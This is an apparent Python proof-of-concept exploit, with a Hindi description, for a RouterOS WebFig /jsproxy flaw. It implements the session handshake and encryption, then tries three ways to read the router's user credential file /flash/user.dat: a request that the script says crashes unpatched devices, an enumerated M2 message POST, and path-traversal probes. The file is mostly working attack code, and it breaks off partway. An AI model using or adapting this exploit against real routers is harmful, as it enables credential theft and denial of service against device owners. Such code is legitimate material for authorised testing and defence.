CVE-2026-67281 के लिए Python PoC: एन्क्रिप्टेड-URI GET, M2 संदेश POST, और स्थिर ट्रैवर्सल पथों के माध्यम से RouterOS WebFig /jsproxy का शोषण करके /flash/user.dat पढ़ता है।
#!/usr/bin/env python3
""" CVE-2026-67281 — RouterOS WebFig /jsproxy फ़ाइल-पठन वेरिएंट।
तीन स्वतंत्र कोड पथों के माध्यम से /flash/user.dat पढ़ने का प्रयास करता है:
पथ A — एन्क्रिप्टेड-URI GET (GET /jsproxy/?) डिक्रिप्ट + authz के बाद nv::findFile तक पहुँचता है। अनपैच्ड 7.21.5 पर session list_head बग के कारण क्रैश होता है; अपेक्षा है कि MikroTik द्वारा DoS पैच करने के बाद यह काम करेगा।
पथ B — M2 संदेश POST (M2 बॉडी के साथ POST /jsproxy) nv::Handler::handle → checkAccess → is_allowed का उपयोग करता है। क्रैश करने वाले डिक्रिप्ट पथ को नहीं छूता। सही cmd नेमस्पेस की आवश्यकता होती है, जिसे यह स्क्रिप्ट प्रगणित करती है।
पथ C — प्रत्यक्ष स्टैटिक GET (GET /webfig/) /home/web/ से स्टैटिक फ़ाइलें सर्व करता है। सर्विंग रूट के विरुद्ध बुनियादी ट्रैवर्सल प्रोब शामिल हैं।
प्रत्येक पथ स्वतंत्र है। स्क्रिप्ट उन्हें क्रम से चलाती है और रिपोर्ट करती है कि क्या काम किया, क्रैश के बाद पुनः प्रयास किए बिना।
केवल अधिकृत-लैब उपयोग के लिए। """
import hashlib import secrets import struct import sys import time
import requests from cryptography.hazmat.primitives.asymmetric.x25519 import ( X25519PrivateKey, X25519PublicKey) from cryptography.hazmat.primitives.serialization import ( Encoding, PublicFormat)
MAGIC_SEND = (b"On the client side, this is the send key; " b"on the server side, it is the receive key.") MAGIC_RECV = (b"On the client side, this is the receive key; " b"on the server side, it is the send key.")
SAFE = set(b"ABCDEFGHIJKLMNOPQRSTUVWXYZ" b"abcdefghijklmnopqrstuvwxyz" b"0123456789-_.~")
FT_BOOL, FT_U32, FT_STRING, FT_RAW, FT_U32_ARRAY =
0 << 27, 1 << 27, 4 << 27, 6 << 27, 17 << 27
FS_SHORT, FS_LONG = 1 << 24, 1 << 25
class RC4: def init(self): self.S = list(range(256)) self.i = self.j = 0
def set_key(self, key: bytes) -> None:
if not key:
raise ValueError("empty RC4 key")
self.S = list(range(256))
self.i = self.j = 0
j = 0
for i in range(256):
j = (j + self.S[i] + key[i % len(key)]) & 0xff
self.S[i], self.S[j] = self.S[j], self.S[i]
for _ in range(768):
self.gen()
def gen(self) -> int:
self.i = (self.i + 1) & 0xff
self.j = (self.j + self.S[self.i]) & 0xff
self.S[self.i], self.S[self.j] = self.S[self.j], self.S[self.i]
return self.S[(self.S[self.i] + self.S[self.j]) & 0xff]
def crypt(self, data: bytes) -> bytes:
return bytes(v ^ self.gen() for v in data)
def webfig_kdf(master: bytes, is_send: bool, is_server: bool) -> bytes: v = bytearray(master) v.extend(b"\x00" * 40) v.extend(MAGIC_RECV if is_send == is_server else MAGIC_SEND) v.extend(b"\xf2" * 40) return hashlib.sha1(v).digest()[:16]
def client_public(priv_raw: bytes) -> bytes: p = X25519PrivateKey.from_private_bytes(priv_raw[::-1]) return p.public_key().public_bytes( Encoding.Raw, PublicFormat.Raw)[::-1]
def shared_secret(priv_raw: bytes, srv_pub: bytes) -> bytes: p = X25519PrivateKey.from_private_bytes(priv_raw[::-1]) return p.exchange( X25519PublicKey.from_public_bytes(srv_pub[::-1]))[::-1]
def encode_uri_component(data: bytes) -> str: out = [] for b in data: if b in SAFE: out.append(chr(b)) elif b < 0x80: out.append(f"%{b:02X}") elif b < 0xC0: out.append(f"%C2%{b:02X}") else: out.append(f"%C3%{(b - 0x40):02X}") return "".join(out)
def handshake(base: str, http: requests.Session, timeout=10.0): priv = secrets.token_bytes(32) pub = client_public(priv) r = http.post( base + "/jsproxy", data=b"\x00" * 8 + pub, headers={"Content-Type": "msg", "Accept-Language": "", "Connection": "close"}, timeout=timeout) if r.status_code != 200 or len(r.content) != 40: raise RuntimeError(f"handshake HTTP {r.status_code} len={len(r.content)}") sid = struct.unpack(">I", r.content[:4])[0] master = shared_secret(priv, r.content[8:40]) tx = RC4(); tx.set_key(webfig_kdf(master, True, False)) rx = RC4(); rx.set_key(webfig_kdf(master, False, False)) return sid, tx, rx
def path_a_encrypted_get(base, http, uri, timeout=10.0): """ GET /jsproxy/?. On unpatched targets, this crashes www. On patched targets, one of these URIs will return the file. """ result = {"path": "A_encrypted_get", "uri": uri, "status": None, "body": b"", "crashed": False, "error": None}
try:
sid, tx, _ = handshake(base, http)
except Exception as e:
result["error"] = f"handshake: {e!r}"
return result
pt = uri.encode("utf-8")
seq = 1
enc = tx.crypt(pt)
pad = tx.crypt(b" " * 8)
frame = struct.pack(">I", sid) + struct.pack(">I", seq) + enc + pad
url = base + "/jsproxy/?" + encode_uri_component(frame)
try:
r = http.get(url, timeout=timeout)
result["status"] = r.status_code
result["body"] = r.content
except requests.exceptions.ConnectionError as e:
result["crashed"] = True
result["error"] = repr(e)
except requests.RequestException as e:
result["error"] = repr(e)
return result
def _field_id(idtype: int, name: str) -> bytes: n = int(name[1:], 16) return bytes((n & 0xff, (n >> 8) & 0xff, (n >> 16) & 0xff, (idtype >> 24) & 0xff))
def _u32_short(name, value): return _field_id(FT_U32 | FS_SHORT, name) + bytes((value & 0xff,))
def _u32_long(name, value): return _field_id(FT_U32, name) + struct.pack("<I", value & 0xffffffff)
def _u32arr(name, values): out = _field_id(FT_U32_ARRAY, name) + struct.pack("<H", len(values)) for v in values: out += struct.pack("<I", v) return out
def _str(name, s):
raw = s.encode("utf-8")
if len(raw) < 256:
return _field_id(FT_STRING | FS_SHORT, name) +
bytes((len(raw),)) + raw
return _field_id(FT_STRING, name) + struct.pack("<H", len(raw)) + raw
def _bool(name): return _field_id(FT_BOOL | FS_SHORT, name)